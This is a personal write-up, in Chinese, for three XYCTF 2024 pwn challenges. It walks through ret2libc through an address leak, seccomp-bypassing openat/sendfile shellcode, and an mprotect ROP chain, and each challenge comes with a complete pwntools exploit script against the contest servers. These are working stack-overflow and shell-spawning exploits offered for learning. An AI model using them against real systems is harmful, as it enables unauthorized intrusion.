[pwn]XYCTF 2024 个人WriteUp
由于本人菜鸡和时间问题,只打了前两周,打出了pwn的三道简单题目,记录自己的做题过程。
XYCTF 2024 WriteUp
>pwn
1.hello_world(签到)
常规checksec
IDA反编译进入主函数
发现read可以进行两次栈溢出,同时%s格式化字符串可以泄露栈上地址。
vuln程序中没有system和/bin/sh字符串,考虑ret2libc,
同时程序中没有发现可以利用的 pop rdi,或许可以利用libc中的gadgets。
所以目标已经很明确了,只要泄露libc的基地址,就可以构造payload获取shell。
那么gdb动态调试
可以看到rbp位置有一个libc中函数地址
利用%s输出字符串遇\x00停止的特点,我们输入0x28个字符,因为没有\x00,所以会继续输出后续的地址,(注意如果地址中包含\x00也会截断),从而可以计算偏移得到libc基地址。
附完整exp
from pwn import *
#p = process("./vuln")
p = remote("xyctf.top", 36826)
libc_pop_rdi = 0x2a3e5
libc_ret = 0x29139 #可以在libc中找到
libc = ELF("./libc.so.6")
context(os="linux", arch="amd64")
#context(log_level="debug")
#gdb.attach(p,"b printf")
payload = b'b'*0x28
p.recvuntil(b'please input your name: ')
p.send(payload)
p.recvuntil(b"b"*0x28)
leak_addr = u64(p.recv(6).ljust(8, b'\x00'))
#leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
printf_addr = leak_addr + 0x36a0f - 175
#gdb动调计算偏移,此处稍显繁琐,也可以利用其它函数计算基地址
print("leak:", hex(leak_addr)) #泄露栈上地址
print("printf_addr:", hex(printf_addr))
libc_base = printf_addr - libc.sym["printf"]
pop_rdi = libc_pop_rdi + libc_base
ret = libc_base + libc_ret
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
payload = cyclic(0x28) + p64(ret) + p64(pop_rdi)+ p64(binsh_addr) + p64(system_addr)
#注意堆栈平衡
p.sendline(payload)
p.interactive()
2.invisible_flag
checksec
IDA反编译
可以看到程序会执行我们输入的shellcode,开启了沙盒
禁用open read write
考虑使用openat(与open类似)打开flag文件
sendfile将其输出到终端上
exp,使用了shellcraft模块
from pwn import *
context(arch="amd64", os="linux")
#p = process("./vuln")
p = remote("xxx.xx.xxx.x",49443)
#gdb.attach(p,"b 0x1465")
shellcode = shellcraft.openat(-100,"flag",0)
#-100 AT_FDCWD当前目录
shellcode += shellcraft.sendfile(1,3,0,50)
#stdout 1 ;第一个打开的文件即flag 3
shellcode = asm(shellcode)
p.sendline(shellcode)
p.interactive()
3.static_link
checksec,发现Canary,但是实际上是没有的,静态链接文件
反编译进入vuln函数,明显的栈溢出,没有发现system函数和/bin/sh字符串,因为是静态链接,ret2libc是不行了,那么可以想到写入shellcode,并挟持rip执行shellcode拿到shell。
mproptect函数将某一内存区权限修改为可写可执行,read写入shellcode,栈溢出挟持rip执行shellcode则成功拿到shell
这里向got表写入,ROP构造
mprotect(got_addr,0x1000,7)
#参数依次是 修改的内存空间地址,修改的长度,修改的权限(7表示可读可写可执行)
read(0,got_addr,0x1000)
发送shellcode写入内存,栈溢出挟持到got_addr即可获取shell
附exp
from pwn import *
#p = process("./vuln")
p = remote("xxx.xx.xxx.x",54207)
context(arch="amd64",os="linux")
pop_rdi = 0x401f1f
pop_rsi = 0x409f8e
pop_rdx = 0x451322
ret = 0x40101a
mprotect_addr = 0x4482C0
read_addr = 0x447580
got_plt = 0x4C5000
main_addr = 0x40184E
shellcode = asm(shellcraft.sh())
payload = cyclic(0x28) + p64(pop_rdi) + p64(got_plt) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect_addr) + p64(main_addr)
p.sendlineafter(b"ret2??",payload)
payload = cyclic(0x28) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(got_plt) + p64(pop_rdx) + p64(0x1000) + p64(read_addr) + p64(main_addr)
p.sendlineafter(b"ret2??",payload)
sleep(1)
p.sendline(shellcode)
payload = cyclic(0x28) + p64(got_plt) + p64(main_addr)
p.sendlineafter(b"ret2??",payload)
#gdb.attach(p,"b read")
p.interactive()